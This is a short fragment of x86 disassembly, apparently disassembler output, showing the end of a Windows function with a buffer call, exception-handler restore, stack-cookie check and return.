lea eax, [ebp - 0x2010]
push eax
mov ecx, edi
call fcn.1000c5b7
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10145e79
leave
ret 0x10